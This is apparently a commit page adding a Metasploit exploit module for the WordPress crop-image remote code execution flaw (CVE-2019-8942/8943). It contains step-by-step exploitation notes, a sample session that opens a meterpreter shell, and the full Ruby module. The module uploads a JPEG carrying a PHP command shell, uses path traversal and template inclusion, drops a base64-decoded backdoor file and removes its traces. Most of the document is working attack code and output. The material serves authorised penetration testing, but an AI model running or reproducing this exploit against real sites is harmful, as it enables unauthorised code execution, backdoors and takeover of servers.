Land #11587, add Wordpress core RCE module
Shelby Pace
Metasploit
parent
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commit
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On WordPress versions 5.0.0 and <= 4.9.8 it is possible to gain arbitrary code execution via a core vulnerability combining a Path Traversal and a Local File Inclusion.
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An attacker who gains access to an account with at least author privileges on the target can execute PHP code on the remote server.
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## Exploitation Steps
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1. Upload an image containing PHP code
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2. Edit the `_wp_attached_file` entry from `meta_input` $_POST array to specify an arbitrary path
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3. Perform the Path Traversal by using the `crop-image` Wordpress function
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4. Perform the Local File Inclusion by creating a new WordPress post and set `_wp_page_template` value to the cropped image. The post will `include()` our image containing PHP code.
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When visiting the post created by the attacker it is possible to obtain code execudion.
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More details can be found on [RIPS Technology Blog](https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/).
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## Verification Steps
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Confirm that functionality works:
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1. Start `msfconsole`
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2. `use exploit/multi/http/wp_crop_rce`
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3. Set the `RHOST`
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4. Set `USERNAME` and `PASSWORD`
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4. Set `LHOST` and `LPORT`
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5. Run the exploit: `run`
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6. Confirm you have now a meterpreter session
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## Scenarios
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### Ubuntu 18.04 running WordPress 4.9.8
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```
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msf5 > use exploit/multi/http/wp_crop_rce
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msf5 exploit(multi/http/wp_crop_rce) > set rhosts 127.0.0.1
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rhosts => 127.0.0.1
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msf5 exploit(multi/http/wp_crop_rce) > set username author
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username => author
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msf5 exploit(multi/http/wp_crop_rce) > set password author
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password => author
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msf5 exploit(multi/http/wp_crop_rce) > run
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[*] Started reverse TCP handler on 127.0.0.1:4444
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[*] Authenticating with WordPress using author:author...
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[+] Authenticated with WordPress
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[*] Preparing payload...
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[*] Checking crop library
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[*] Uploading payload
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[+] Image uploaded
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[*] Uploading payload
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[+] Image uploaded
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[*] Including into theme
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[*] Sending stage (38247 bytes) to 127.0.0.1
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[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:36568) at 2019-03-19 11:33:27 -0400
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meterpreter > sysinfo
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Computer : ubuntu
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OS : Linux ubuntu 4.15.0-46-generic #49-Ubuntu SMP Wed Feb 6 09:33:07 UTC 2019 x86_64
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Meterpreter : php/linux
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```
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::FileDropper
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include Msf::Exploit::Remote::HTTP::Wordpress
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def initialize(info = {})
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super(update_info(
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info,
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'Name' => 'WordPress Crop-image Shell Upload',
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'Description' => %q{
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This module exploits a path traversal and a local file inclusion
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vulnerability on WordPress versions 5.0.0 and <= 4.9.8.
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The crop-image function allows a user, with at least author privileges,
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to resize an image and perform a path traversal by changing the _wp_attached_file
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reference during the upload. The second part of the exploit will include
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this image in the current theme by changing the _wp_page_template attribute
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when creating a post.
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This exploit module only works for Unix-based systems currently.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'RIPSTECH Technology', # Discovery
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'Wilfried Becard <wilfried.becard@synacktiv.com>' # Metasploit module
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],
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'References' =>
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[
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[ 'CVE', '2019-8942' ],
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[ 'CVE', '2019-8943' ],
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[ 'URL', 'https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/']
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],
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'DisclosureDate' => 'Feb 19 2019',
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Targets' => [['WordPress', {}]],
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'DefaultTarget' => 0
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))
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register_options(
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[
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OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
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OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
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])
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end
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def check
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cookie = wordpress_login(username, password)
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if cookie.nil?
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store_valid_credential(user: username, private: password, proof: cookie)
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return CheckCode::Safe
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end
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CheckCode::Appears
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end
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def username
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datastore['USERNAME']
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end
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def password
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datastore['PASSWORD']
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end
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def get_wpnonce(cookie)
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uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'media-new.php')
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res = send_request_cgi(
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'method' => 'GET',
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'uri' => uri,
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'cookie' => cookie
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)
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if res && res.code == 200 && res.body && !res.body.empty?
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res.get_hidden_inputs.first["_wpnonce"]
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end
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end
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def get_wpnonce2(image_id, cookie)
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uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php')
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res = send_request_cgi(
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'method' => 'GET',
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'uri' => uri,
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'cookie' => cookie,
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'vars_get' => {
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'post' => image_id,
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'action' => "edit"
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}
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)
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if res && res.code == 200 && res.body && !res.body.empty?
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tmp = res.get_hidden_inputs
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wpnonce2 = tmp[1].first[1]
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end
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end
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def get_current_theme
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uri = normalize_uri(datastore['TARGETURI'])
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res = send_request_cgi!(
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'method' => 'GET',
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'uri' => uri
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)
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fail_with(Failure::NotFound, 'Failed to access Wordpress page to retrieve theme.') unless res && res.code == 200 && res.body && !res.body.empty?
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theme = res.body.scan(/\/wp-content\/themes\/(\w+)\//).flatten.first
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fail_with(Failure::NotFound, 'Failed to retrieve theme') unless theme
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theme
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end
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def get_ajaxnonce(cookie)
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uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')
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res = send_request_cgi(
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'method' => 'POST',
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'uri' => uri,
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'cookie' => cookie,
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'vars_post' => {
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'action' => 'query-attachments',
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'post_id' => '0',
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'query[item]' => '43',
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'query[orderby]' => 'date',
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'query[order]' => 'DESC',
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'query[posts_per_page]' => '40',
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'query[paged]' => '1'
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}
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)
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fail_with(Failure::NotFound, 'Unable to reach page to retrieve the ajax nonce') unless res && res.code == 200 && res.body && !res.body.empty?
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a_nonce = res.body.scan(/"edit":"(\w+)"/).flatten.first
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fail_with(Failure::NotFound, 'Unable to retrieve the ajax nonce') unless a_nonce
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a_nonce
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end
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def upload_file(img_name, wp_nonce, cookie)
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img_data = %w[
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FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 00 60 00 60 00 00 FF ED 00 38 50 68 6F
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74 6F 73 68 6F 70 20 33 2E 30 00 38 42 49 4D 04 04 00 00 00 00 00 1C 1C 02 74 00
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10 3C 3F 3D 60 24 5F 47 45 54 5B 30 5D 60 3B 3F 3E 1C 02 00 00 02 00 04 FF FE 00
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3B 43 52 45 41 54 4F 52 3A 20 67 64 2D 6A 70 65 67 20 76 31 2E 30 20 28 75 73 69
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6E 67 20 49 4A 47 20 4A 50 45 47 20 76 38 30 29 2C 20 71 75 61 6C 69 74 79 20 3D
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20 38 32 0A FF DB 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0E 09 09
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08 08 09 12 0D 0D 0A 0E 15 12 16 16 15 12 14 14 17 1A 21 1C 17 18 1F 19 14 14 1D
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27 1D 1F 22 23 25 25 25 16 1C 29 2C 28 24 2B 21 24 25 24 FF DB 00 43 01 06 06 06
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09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24
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24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24
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24 24 24 24 24 24 24 FF C0 00 11 08 00 C0 01 06 03 01 22 00 02 11 01 03 11 01 FF
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C4 00 1F 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06
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07 08 09 0A 0B FF C4 00 B5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7D 01
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02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 A1 08 23 42 B1 C1
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15 52 D1 F0 24 33 62 72 82 09 0A 16 17 18 19 1A 25 26 27 28 29 2A 34 35 36 37 38
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39 3A 43 44 45 46 47 48 49 4A 53 54 55 56 57 58 59 5A 63 64 65 66 67 68 69 6A 73
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74 75 76 77 78 79 7A 83 84 85 86 87 88 89 8A 92 93 94 95 96 97 98 99 9A A2 A3 A4
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A5 A6 A7 A8 A9 AA B2 B3 B4 B5 B6 B7 B8 B9 BA C2 C3 C4 C5 C6 C7 C8 C9 CA D2 D3 D4
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D5 D6 D7 D8 D9 DA E1 E2 E3 E4 E5 E6 E7 E8 E9 EA F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FF
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C4 00 1F 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06
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07 08 09 0A 0B FF C4 00 B5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00
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01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 A1 B1 C1 09
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23 33 52 F0 15 62 72 D1 0A 16 24 34 E1 25 F1 17 18 19 1A 26 27 28 29 2A 35 36 37
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38 39 3A 43 44 45 46 47 48 49 4A 53 54 55 56 57 58 59 5A 63 64 65 66 67 68 69 6A
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73 74 75 76 77 78 79 7A 82 83 84 85 86 87 88 89 8A 92 93 94 95 96 97 98 99 9A A2
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A3 A4 A5 A6 A7 A8 A9 AA B2 B3 B4 B5 B6 B7 B8 B9 BA C2 C3 C4 C5 C6 C7 C8 C9 CA D2
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D3 D4 D5 D6 D7 D8 D9 DA E2 E3 E4 E5 E6 E7 E8 E9 EA F2 F3 F4 F5 F6 F7 F8 F9 FA FF
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DA 00 0C 03 01 00 02 11 03 11 00 3F 00 3C 3F 3D 60 24 5F 47 45 54 5B 30 5D 60 3B
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3F 3E
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]
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img_data = [img_data.join].pack('H*')
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img_name += '.jpg'
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boundary = "#{rand_text_alphanumeric(rand(10) + 5)}"
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post_data = "--#{boundary}\r\n"
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post_data << "Content-Disposition: form-data; name=\"name\"\r\n"
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post_data << "\r\n#{img_name}\r\n"
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post_data << "--#{boundary}\r\n"
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post_data << "Content-Disposition: form-data; name=\"action\"\r\n"
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post_data << "\r\nupload-attachment\r\n"
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post_data << "--#{boundary}\r\n"
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post_data << "Content-Disposition: form-data; name=\"_wpnonce\"\r\n"
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post_data << "\r\n#{wp_nonce}\r\n"
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post_data << "--#{boundary}\r\n"
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post_data << "Content-Disposition: form-data; name=\"async-upload\"; filename=\"#{img_name}\"\r\n"
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post_data << "Content-Type: image/jpeg\r\n"
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post_data << "\r\n#{img_data}\r\n"
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post_data << "--#{boundary}--\r\n"
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print_status("Uploading payload")
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upload_uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'async-upload.php')
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res = send_request_cgi(
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'method' => 'POST',
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'uri' => upload_uri,
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'ctype' => "multipart/form-data; boundary=#{boundary}",
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'data' => post_data,
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'cookie' => cookie
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)
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fail_with(Failure::UnexpectedReply, 'Unable to upload image') unless res && res.code == 200 && res.body && !res.body.empty?
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print_good("Image uploaded")
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res = JSON.parse(res.body)
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image_id = res["data"]["id"]
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update_nonce = res["data"]["nonces"]["update"]
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filename = res["data"]["filename"]
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return filename, image_id, update_nonce
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end
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def image_editor(img_name, ajax_nonce, image_id, cookie)
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uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')
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res = send_request_cgi(
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'method' => 'POST',
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'uri' => uri,
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'cookie' => cookie,
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'vars_post' => {
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'action' => 'image-editor',
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'_ajax_nonce' => ajax_nonce,
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'postid' => image_id,
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'history' => '[{"c":{"x":0,"y":0,"w":400,"h":300}}]',
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'target' => 'all',
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'context' => '',
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'do' => 'save'
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}
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)
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fail_with(Failure::NotFound, 'Unable to access page to retrieve filename') unless res && res.code == 200 && res.body && !res.body.empty?
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filename = res.body.scan(/(#{img_name}-\S+)-/).flatten.first
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fail_with(Failure::NotFound, 'Unable to retrieve file name') unless filename
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filename << '.jpg'
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end
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def change_path(wpnonce2, image_id, filename, current_date, path, cookie)
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uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php')
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res = send_request_cgi(
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'method' => 'POST',
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'uri' => uri,
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'cookie' => cookie,
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'vars_post' => {
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'_wpnonce' => wpnonce2,
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'action' => 'editpost',
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'post_ID' => image_id,
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'meta_input[_wp_attached_file]' => "#{current_date}#{filename}#{path}"
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}
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)
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end
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def crop_image(image_id, ajax_nonce, cookie)
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uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')
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res = send_request_cgi(
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'method' => 'POST',
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'uri' => uri,
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'cookie' => cookie,
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'vars_post' => {
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'action' => 'crop-image',
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'_ajax_nonce' => ajax_nonce,
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'id' => image_id,
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'cropDetails[x1]' => 0,
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'cropDetails[y1]' => 0,
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'cropDetails[width]' => 400,
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'cropDetails[height]' => 300,
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'cropDetails[dst_width]' => 400,
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'cropDetails[dst_height]' => 300
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}
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)
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end
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def include_theme(shell_name, cookie)
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uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post-new.php')
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res = send_request_cgi(
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'method' => 'POST',
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'uri' => uri,
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'cookie' => cookie
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)
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if res && res.code == 200 && res.body && !res.body.empty?
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wpnonce2 = res.body.scan(/name="_wpnonce" value="(\w+)"/).flatten.first
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post_id = res.body.scan(/"post":{"id":(\w+),/).flatten.first
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fail_with(Failure::NotFound, 'Unable to retrieve the second wpnonce and the post id') unless wpnonce2 && post_id
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post_title = Rex::Text.rand_text_alpha(10)
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uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php')
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res = send_request_cgi(
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'method' => 'POST',
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'uri' => uri,
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'cookie' => cookie,
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'vars_post' => {
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'_wpnonce'=> wpnonce2,
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'action' => 'editpost',
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'post_ID' => post_id,
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'post_title' => post_title,
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'post_name' => post_title,
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'meta_input[_wp_page_template]' => "cropped-#{shell_name}.jpg"
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}
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)
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fail_with(Failure::NotFound, 'Failed to retrieve post id') unless res && res.code == 302
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post_id
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end
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end
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def check_for_base64(cookie, post_id)
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uri = normalize_uri(datastore['TARGETURI'])
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# Test if base64 is on target
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test_string = 'YmFzZTY0c3BvdHRlZAo='
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res = send_request_cgi!(
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'method' => 'GET',
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'uri' => uri,
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'cookie' => cookie,
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'vars_get' => {
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'p' => post_id,
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'0' => "echo #{test_string} | base64 -d"
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}
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)
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fail_with(Failure::NotFound, 'Unable to retrieve response to base64 command') unless res && res.code == 200 && !res.body.empty?
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fail_with(Failure::NotFound, "Can't find base64 decode on target") unless res.body.include?("base64spotted")
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# Execute payload with base64 decode
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@backdoor = Rex::Text.rand_text_alpha(10)
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encoded = Rex::Text.encode_base64(payload.encoded)
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res = send_request_cgi!(
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'method' => 'GET',
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'uri' => uri,
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'cookie' => cookie,
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'vars_get' => {
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'p' => post_id,
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'0' => "echo #{encoded} | base64 -d > #{@backdoor}.php"
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}
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)
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fail_with(Failure::NotFound, 'Failed to send payload to target') unless res && res.code == 200 && !res.body.empty?
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send_request_cgi(
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'method' => 'GET',
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'uri' => normalize_uri(datastore['TARGETURI'], "#{@backdoor}.php"),
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'cookie' => cookie
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)
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end
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def wp_cleanup(shell_name, post_id, cookie)
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print_status('Attempting to clean up files...')
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uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')
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res = send_request_cgi(
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'method' => 'POST',
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'uri' => uri,
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'cookie' => cookie,
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'vars_post' => { 'action' => "query-attachments" }
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)
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||||
|
||||
fail_with(Failure::NotFound, 'Failed to receive a response for uploaded file') unless res && res.code == 200 && !res.body.empty?
|
||||
infos = res.body.scan(/id":(\d+),.*filename":"cropped-#{shell_name}".*?"delete":"(\w+)".*"id":(\d+),.*filename":"cropped-x".*?"delete":"(\w+)".*"id":(\d+),.*filename":"#{shell_name}".*?"delete":"(\w+)"/).flatten
|
||||
id1, id2, id3 = infos[0], infos[2], infos[4]
|
||||
delete_nonce1, delete_nonce2, delete_nonce3 = infos[1], infos[3], infos[5]
|
||||
for i in (0...6).step(2)
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'cookie' => cookie,
|
||||
'vars_post' => {
|
||||
'action' => "delete-post",
|
||||
'id' => infos[i],
|
||||
'_wpnonce' => infos[i+1]
|
||||
}
|
||||
)
|
||||
end
|
||||
|
||||
uri1 = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'edit.php')
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => uri1,
|
||||
'cookie' => cookie
|
||||
)
|
||||
|
||||
if res && res.code == 200 && res.body && !res.body.empty?
|
||||
post_nonce = res.body.scan(/post=#{post_id}&action=trash&_wpnonce=(\w+)/).flatten.first
|
||||
fail_with(Failure::NotFound, 'Unable to retrieve post nonce') unless post_nonce
|
||||
uri2 = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php')
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => uri2,
|
||||
'cookie' => cookie,
|
||||
'vars_get' => {
|
||||
'post' => post_id,
|
||||
'action' => 'trash',
|
||||
'_wpnonce' => post_nonce
|
||||
}
|
||||
)
|
||||
|
||||
fail_with(Failure::NotFound, 'Unable to retrieve response') unless res && res.code == 302
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => uri1,
|
||||
'cookie' => cookie,
|
||||
'vars_get' => {
|
||||
'post_status' => "trash",
|
||||
'post_type' => 'post',
|
||||
'_wpnonce' => post_nonce
|
||||
}
|
||||
)
|
||||
|
||||
if res && res.code == 200 && res.body && !res.body.empty?
|
||||
nonce = res.body.scan(/post=#{post_id}&action=delete&_wpnonce=(\w+)/).flatten.first
|
||||
fail_with(Failure::NotFound, 'Unable to retrieve nonce') unless nonce
|
||||
|
||||
send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => uri2,
|
||||
'cookie' => cookie,
|
||||
'vars_get' => {
|
||||
'post' => post_id,
|
||||
'action' => 'delete',
|
||||
'_wpnonce' => nonce
|
||||
}
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?
|
||||
|
||||
print_status("Authenticating with WordPress using #{username}:#{password}...")
|
||||
cookie = wordpress_login(username, password)
|
||||
fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
|
||||
print_good("Authenticated with WordPress")
|
||||
store_valid_credential(user: username, private: password, proof: cookie)
|
||||
|
||||
print_status("Preparing payload...")
|
||||
@current_theme = get_current_theme
|
||||
wp_nonce = get_wpnonce(cookie)
|
||||
@current_date = Time.now.strftime("%Y/%m/")
|
||||
|
||||
img_name = Rex::Text.rand_text_alpha(10)
|
||||
@filename1, image_id, update_nonce = upload_file(img_name, wp_nonce, cookie)
|
||||
ajax_nonce = get_ajaxnonce(cookie)
|
||||
|
||||
@filename1 = image_editor(img_name, ajax_nonce, image_id, cookie)
|
||||
wpnonce2 = get_wpnonce2(image_id, cookie)
|
||||
|
||||
change_path(wpnonce2, image_id, @filename1, @current_date, '?/x', cookie)
|
||||
crop_image(image_id, ajax_nonce, cookie)
|
||||
|
||||
@shell_name = Rex::Text.rand_text_alpha(10)
|
||||
change_path(wpnonce2, image_id, @filename1, @current_date, "?/../../../../themes/#{@current_theme}/#{@shell_name}", cookie)
|
||||
crop_image(image_id, ajax_nonce, cookie)
|
||||
|
||||
print_status("Including into theme")
|
||||
post_id = include_theme(@shell_name, cookie)
|
||||
|
||||
check_for_base64(cookie, post_id)
|
||||
wp_cleanup(@shell_name, post_id, cookie)
|
||||
end
|
||||
|
||||
def on_new_session(client)
|
||||
client.shell_command_token("rm wp-content/uploads/#{@current_date}#{@filename1[0...10]}*")
|
||||
client.shell_command_token("rm wp-content/uploads/#{@current_date}cropped-#{@filename1[0...10]}*")
|
||||
client.shell_command_token("rm -r wp-content/uploads/#{@current_date}#{@filename1[0...10]}*")
|
||||
client.shell_command_token("rm wp-content/themes/#{@current_theme}/cropped-#{@shell_name}.jpg")
|
||||
client.shell_command_token("rm #{@backdoor}.php")
|
||||
end
|
||||
end
|
||||
Loading…
Reference in New Issue